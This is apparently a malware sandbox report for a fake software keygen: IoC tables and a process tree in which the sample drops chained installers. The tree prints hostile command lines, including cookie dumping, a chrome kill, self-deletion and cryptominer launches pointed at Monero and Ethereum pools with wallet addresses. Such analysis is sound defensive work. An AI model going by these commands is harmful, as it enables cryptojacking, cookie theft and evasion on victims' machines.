HTTP User-Agent header	324	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	561	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	659	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	717	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	143	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	318	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	552	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	740	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	719	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	140	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	687	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	694	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	712	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	649	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	709	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
2212	setups.tmp
2212	setups.tmp
928	key.exe
928	key.exe
4856	rundll32.exe
4856	rundll32.exe
856	svchost.exe
856	svchost.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
804	multitimer.exe
4672	file.exe
4672	file.exe
4672	file.exe
4672	file.exe
4672	file.exe
4672	file.exe
4672	file.exe
4672	file.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	476	Setup.exe
Token: SeCreateTokenPrivilege	204	askinstall20.exe
Token: SeAssignPrimaryTokenPrivilege	204	askinstall20.exe
Token: SeLockMemoryPrivilege	204	askinstall20.exe
Token: SeIncreaseQuotaPrivilege	204	askinstall20.exe
Token: SeMachineAccountPrivilege	204	askinstall20.exe
Token: SeTcbPrivilege	204	askinstall20.exe
Token: SeSecurityPrivilege	204	askinstall20.exe
Token: SeTakeOwnershipPrivilege	204	askinstall20.exe
Token: SeLoadDriverPrivilege	204	askinstall20.exe
Token: SeSystemProfilePrivilege	204	askinstall20.exe
Token: SeSystemtimePrivilege	204	askinstall20.exe
Token: SeProfSingleProcessPrivilege	204	askinstall20.exe
Token: SeIncBasePriorityPrivilege	204	askinstall20.exe
Token: SeCreatePagefilePrivilege	204	askinstall20.exe
Token: SeCreatePermanentPrivilege	204	askinstall20.exe
Token: SeBackupPrivilege	204	askinstall20.exe
Token: SeRestorePrivilege	204	askinstall20.exe
Token: SeShutdownPrivilege	204	askinstall20.exe
Token: SeDebugPrivilege	204	askinstall20.exe
Token: SeAuditPrivilege	204	askinstall20.exe
Token: SeSystemEnvironmentPrivilege	204	askinstall20.exe
Token: SeChangeNotifyPrivilege	204	askinstall20.exe
Token: SeRemoteShutdownPrivilege	204	askinstall20.exe
Token: SeUndockPrivilege	204	askinstall20.exe
Token: SeSyncAgentPrivilege	204	askinstall20.exe
Token: SeEnableDelegationPrivilege	204	askinstall20.exe
Token: SeManageVolumePrivilege	204	askinstall20.exe
Token: SeImpersonatePrivilege	204	askinstall20.exe
Token: SeCreateGlobalPrivilege	204	askinstall20.exe
Token: 31	204	askinstall20.exe
Token: 32	204	askinstall20.exe
Token: 33	204	askinstall20.exe
Token: 34	204	askinstall20.exe
Token: 35	204	askinstall20.exe
Token: SeDebugPrivilege	500	taskkill.exe
Token: SeDebugPrivilege	804	multitimer.exe
Token: SeDebugPrivilege	4172	MicrosoftEdge.exe
Token: SeDebugPrivilege	4172	MicrosoftEdge.exe
Token: SeDebugPrivilege	4172	MicrosoftEdge.exe
Token: SeDebugPrivilege	4172	MicrosoftEdge.exe
Token: SeImpersonatePrivilege	928	key.exe
Token: SeTcbPrivilege	928	key.exe
Token: SeChangeNotifyPrivilege	928	key.exe
Token: SeCreateTokenPrivilege	928	key.exe
Token: SeBackupPrivilege	928	key.exe
Token: SeRestorePrivilege	928	key.exe
Token: SeIncreaseQuotaPrivilege	928	key.exe
Token: SeAssignPrimaryTokenPrivilege	928	key.exe
Token: SeImpersonatePrivilege	928	key.exe
Token: SeTcbPrivilege	928	key.exe
Token: SeChangeNotifyPrivilege	928	key.exe
Token: SeCreateTokenPrivilege	928	key.exe
Token: SeBackupPrivilege	928	key.exe
Token: SeRestorePrivilege	928	key.exe
Token: SeIncreaseQuotaPrivilege	928	key.exe
Token: SeAssignPrimaryTokenPrivilege	928	key.exe
Token: SeImpersonatePrivilege	928	key.exe
Token: SeTcbPrivilege	928	key.exe
Token: SeChangeNotifyPrivilege	928	key.exe
Token: SeCreateTokenPrivilege	928	key.exe
Token: SeBackupPrivilege	928	key.exe
Token: SeRestorePrivilege	928	key.exe
Token: SeIncreaseQuotaPrivilege	928	key.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1532	setups.exe
2212	setups.tmp
4172	MicrosoftEdge.exe
4532	MicrosoftEdgeCP.exe
4532	MicrosoftEdgeCP.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3116 wrote to memory of 2720	3116	Active_File_Recovery_Demo_all_serial_code_maker_by_DBC.exe	77
PID 3116 wrote to memory of 2720	3116	Active_File_Recovery_Demo_all_serial_code_maker_by_DBC.exe	77
PID 3116 wrote to memory of 2720	3116	Active_File_Recovery_Demo_all_serial_code_maker_by_DBC.exe	77
PID 2720 wrote to memory of 2836	2720	cmd.exe	80
PID 2720 wrote to memory of 2836	2720	cmd.exe	80
PID 2720 wrote to memory of 2836	2720	cmd.exe	80
PID 2720 wrote to memory of 2244	2720	cmd.exe	81
PID 2720 wrote to memory of 2244	2720	cmd.exe	81
PID 2720 wrote to memory of 2244	2720	cmd.exe	81
PID 2720 wrote to memory of 1864	2720	cmd.exe	82
PID 2720 wrote to memory of 1864	2720	cmd.exe	82
PID 2720 wrote to memory of 1864	2720	cmd.exe	82
PID 2720 wrote to memory of 2520	2720	cmd.exe	83
PID 2720 wrote to memory of 2520	2720	cmd.exe	83
PID 2720 wrote to memory of 2520	2720	cmd.exe	83
PID 2520 wrote to memory of 476	2520	keygen-step-4.exe	84
PID 2520 wrote to memory of 476	2520	keygen-step-4.exe	84
PID 2836 wrote to memory of 928	2836	keygen-pr.exe	85
PID 2836 wrote to memory of 928	2836	keygen-pr.exe	85
PID 2836 wrote to memory of 928	2836	keygen-pr.exe	85
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 928 wrote to memory of 2300	928	key.exe	87
PID 1864 wrote to memory of 3816	1864	keygen-step-3.exe	90
PID 1864 wrote to memory of 3816	1864	keygen-step-3.exe	90
PID 1864 wrote to memory of 3816	1864	keygen-step-3.exe	90
PID 3816 wrote to memory of 3980	3816	cmd.exe	91
PID 3816 wrote to memory of 3980	3816	cmd.exe	91
PID 3816 wrote to memory of 3980	3816	cmd.exe	91
PID 476 wrote to memory of 804	476	Setup.exe	92
PID 476 wrote to memory of 804	476	Setup.exe	92
PID 476 wrote to memory of 1532	476	Setup.exe	94
PID 476 wrote to memory of 1532	476	Setup.exe	94
PID 476 wrote to memory of 1532	476	Setup.exe	94
PID 2520 wrote to memory of 204	2520	keygen-step-4.exe	95
PID 2520 wrote to memory of 204	2520	keygen-step-4.exe	95
PID 2520 wrote to memory of 204	2520	keygen-step-4.exe	95
PID 1532 wrote to memory of 2212	1532	setups.exe	96
PID 1532 wrote to memory of 2212	1532	setups.exe	96
PID 1532 wrote to memory of 2212	1532	setups.exe	96
PID 204 wrote to memory of 3976	204	askinstall20.exe	98
PID 204 wrote to memory of 3976	204	askinstall20.exe	98
PID 204 wrote to memory of 3976	204	askinstall20.exe	98
PID 3976 wrote to memory of 500	3976	cmd.exe	100
PID 3976 wrote to memory of 500	3976	cmd.exe	100
PID 3976 wrote to memory of 500	3976	cmd.exe	100
PID 2520 wrote to memory of 4552	2520	keygen-step-4.exe	105
PID 2520 wrote to memory of 4552	2520	keygen-step-4.exe	105
PID 2520 wrote to memory of 4552	2520	keygen-step-4.exe	105
PID 4552 wrote to memory of 4628	4552	Full Program Features.exe	106
PID 4552 wrote to memory of 4628	4552	Full Program Features.exe	106
PID 4552 wrote to memory of 4628	4552	Full Program Features.exe	106

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2684

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2564

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2528

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2348

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2332

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1824

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1344

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1304

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1208

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1092

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:836

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:68

C:\Users\Admin\AppData\Local\Temp\Active_File_Recovery_Demo_all_serial_code_maker_by_DBC.exe
"C:\Users\Admin\AppData\Local\Temp\Active_File_Recovery_Demo_all_serial_code_maker_by_DBC.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3116
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2720
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
    keygen-pr.exe -p83fsase3Ge
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2836
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:928
    - - C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\key.exe -txt -scanlocal -file:potato.dat
        5⤵
        Executes dropped EXE
        
        PID:2300
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
    keygen-step-1.exe
    3⤵
    - Executes dropped EXE
    PID:2244
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
    keygen-step-3.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3816
    - - C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        5⤵
        Runs ping.exe
        
        PID:3980
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
    keygen-step-4.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:476
    - - C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        5⤵
        Executes dropped EXE
        Maps connected drives based on registry
        Drops file in Windows directory
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:804
      - C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe" 1 3.1617396968.606784e869c0a 101
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2148
        
        C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\UY3FJ3LTSM\multitimer.exe" 2 3.1617396968.606784e869c0a
        7⤵
        Executes dropped EXE
        
        PID:4344
        
        C:\Users\Admin\AppData\Local\Temp\cace00t3sak\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\cace00t3sak\Setup3310.exe" /Verysilent /subid=577
        8⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\is-F5HE1.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F5HE1.tmp\Setup3310.tmp" /SL5="$40222,138429,56832,C:\Users\Admin\AppData\Local\Temp\cace00t3sak\Setup3310.exe" /Verysilent /subid=577
        9⤵
        
        PID:5600
        
        C:\Users\Admin\AppData\Local\Temp\is-69NK1.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-69NK1.tmp\Setup.exe" /Verysilent
        10⤵
        
        PID:3776
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"
        11⤵
        
        PID:5768
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:668
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        12⤵
        
        PID:4384
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"
        11⤵
        
        PID:5788
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 928
        12⤵
        Program crash
        
        PID:5028
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1004
        12⤵
        Program crash
        
        PID:6588
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1016
        12⤵
        Program crash
        
        PID:2196
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1148
        12⤵
        Program crash
        
        PID:3784
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1164
        12⤵
        Program crash
        
        PID:6172
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1192
        12⤵
        Program crash
        
        PID:3592
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1292
        12⤵
        Program crash
        
        PID:2128
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1576
        12⤵
        Program crash
        
        PID:2920
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1516
        12⤵
        Program crash
        
        PID:4240
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1492
        12⤵
        Program crash
        
        PID:1736
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1736
        12⤵
        Program crash
        
        PID:5676
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1808
        12⤵
        Program crash
        
        PID:7196
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5788 -s 1788
        12⤵
        Program crash
        
        PID:7452
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"
        11⤵
        
        PID:3732
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        11⤵
        
        PID:4928
        
        C:\Users\Admin\AppData\Local\Temp\is-9GJMJ.tmp\LabPicV3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9GJMJ.tmp\LabPicV3.tmp" /SL5="$30560,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        12⤵
        Executes dropped EXE
        
        PID:4340
        
        C:\Users\Admin\AppData\Local\Temp\is-BO6FE.tmp\ppppppfy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-BO6FE.tmp\ppppppfy.exe" /S /UID=lab214
        13⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\IBIFFUZVVW\prolab.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IBIFFUZVVW\prolab.exe" /VERYSILENT
        14⤵
        
        PID:5196
        
        C:\Users\Admin\AppData\Local\Temp\is-7M103.tmp\prolab.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-7M103.tmp\prolab.tmp" /SL5="$3045A,575243,216576,C:\Users\Admin\AppData\Local\Temp\IBIFFUZVVW\prolab.exe" /VERYSILENT
        15⤵
        
        PID:6536
        
        C:\Users\Admin\AppData\Local\Temp\89-280c6-2e9-1dc8b-ce491c1a16c6d\Bimolamylu.exe
        
        "C:\Users\Admin\AppData\Local\Temp\89-280c6-2e9-1dc8b-ce491c1a16c6d\Bimolamylu.exe"
        14⤵
        
        PID:6508
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2336
        15⤵
        
        PID:5528
        
        C:\Users\Admin\AppData\Local\Temp\60-eaac9-580-fbdb4-f33cb819192e6\Vyrecilezha.exe
        
        "C:\Users\Admin\AppData\Local\Temp\60-eaac9-580-fbdb4-f33cb819192e6\Vyrecilezha.exe"
        14⤵
        
        PID:6452
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yttno0os.vnm\md6_6ydj.exe & exit
        15⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\yttno0os.vnm\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\yttno0os.vnm\md6_6ydj.exe
        16⤵
        
        PID:4832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zrzlqdqs.pwe\askinstall31.exe & exit
        15⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\zrzlqdqs.pwe\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\zrzlqdqs.pwe\askinstall31.exe
        16⤵
        
        PID:4900
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        17⤵
        
        PID:4632
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        18⤵
        Kills process with taskkill
        
        PID:3160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0s0d0xmp.vbf\toolspab1.exe & exit
        15⤵
        
        PID:6868
        
        C:\Users\Admin\AppData\Local\Temp\0s0d0xmp.vbf\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\0s0d0xmp.vbf\toolspab1.exe
        16⤵
        
        PID:6016
        
        C:\Users\Admin\AppData\Local\Temp\0s0d0xmp.vbf\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\0s0d0xmp.vbf\toolspab1.exe
        17⤵
        
        PID:2108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\r2ushihf.b01\setup_10.2_mix.exe & exit
        15⤵
        
        PID:2716
        
        C:\Users\Admin\AppData\Local\Temp\r2ushihf.b01\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\r2ushihf.b01\setup_10.2_mix.exe
        16⤵
        
        PID:5720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\olx2oeio.p54\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:5032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\52ncxi44.uhb\app.exe /8-2222 & exit
        15⤵
        
        PID:4860
        
        C:\Users\Admin\AppData\Local\Temp\52ncxi44.uhb\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\52ncxi44.uhb\app.exe /8-2222
        16⤵
        
        PID:6672
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mdwv4srf.41l\file.exe & exit
        15⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Local\Temp\mdwv4srf.41l\file.exe
        
        C:\Users\Admin\AppData\Local\Temp\mdwv4srf.41l\file.exe
        16⤵
        
        PID:6996
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"
        17⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        18⤵
        
        PID:7368
        
        C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe" 1 3.1617397295.6067862f5e0e6 101
        19⤵
        
        PID:3676
        
        C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KAF5B8BOBC\multitimer.exe" 2 3.1617397295.6067862f5e0e6
        20⤵
        
        PID:7704
        
        C:\Users\Admin\AppData\Local\Temp\1afj0zpyffd\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1afj0zpyffd\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:6732
        
        C:\Users\Admin\AppData\Local\Temp\is-L885G.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-L885G.tmp\vict.tmp" /SL5="$107D6,870426,780800,C:\Users\Admin\AppData\Local\Temp\1afj0zpyffd\vict.exe" /VERYSILENT /id=535
        22⤵
        
        PID:9472
        
        C:\Users\Admin\AppData\Local\Temp\is-VS431.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-VS431.tmp\win1host.exe" 535
        23⤵
        
        PID:10704
        
        C:\Users\Admin\AppData\Local\Temp\vkas1dbxsvb\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vkas1dbxsvb\app.exe" /8-23
        21⤵
        
        PID:9252
        
        C:\Users\Admin\AppData\Local\Temp\4xx2l2b4z30\swj03qnqgi0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4xx2l2b4z30\swj03qnqgi0.exe" /ustwo INSTALL
        21⤵
        
        PID:8740
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8740 -s 884
        22⤵
        Program crash
        
        PID:8700
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8740 -s 964
        22⤵
        Program crash
        
        PID:10580
        
        C:\Users\Admin\AppData\Local\Temp\v0cvsuyo322\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\v0cvsuyo322\cpyrix.exe" /VERYSILENT
        21⤵
        
        PID:9384
        
        C:\Users\Admin\AppData\Local\Temp\h4rpqzj4r3q\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\h4rpqzj4r3q\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:9608
        
        C:\Users\Admin\AppData\Local\Temp\is-43O9G.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-43O9G.tmp\Setup3310.tmp" /SL5="$10836,138429,56832,C:\Users\Admin\AppData\Local\Temp\h4rpqzj4r3q\Setup3310.exe" /Verysilent /subid=577
        22⤵
        
        PID:9580
        
        C:\Users\Admin\AppData\Local\Temp\1OXWG96RAV\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1OXWG96RAV\setups.exe" ll
        18⤵
        
        PID:8008
        
        C:\Users\Admin\AppData\Local\Temp\is-CO4T0.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CO4T0.tmp\setups.tmp" /SL5="$5051E,635399,250368,C:\Users\Admin\AppData\Local\Temp\1OXWG96RAV\setups.exe" ll
        19⤵
        
        PID:3664
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"
        17⤵
        
        PID:64
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"
        17⤵
        
        PID:7736
        
        C:\Users\Admin\AppData\Roaming\74D0.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\74D0.tmp.exe"
        18⤵
        
        PID:4040
        
        C:\Users\Admin\AppData\Roaming\74D0.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\74D0.tmp.exe"
        19⤵
        
        PID:4016
        
        C:\Users\Admin\AppData\Roaming\8413.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\8413.tmp.exe"
        18⤵
        
        PID:4500
        
        C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        19⤵
        
        PID:4520
        
        C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        19⤵
        
        PID:4536
        
        C:\Users\Admin\AppData\Roaming\8A9C.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\8A9C.tmp.exe"
        18⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"
        17⤵
        
        PID:4108
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe"
        17⤵
        
        PID:10920
        
        C:\Windows\System32\cmd.exe
        
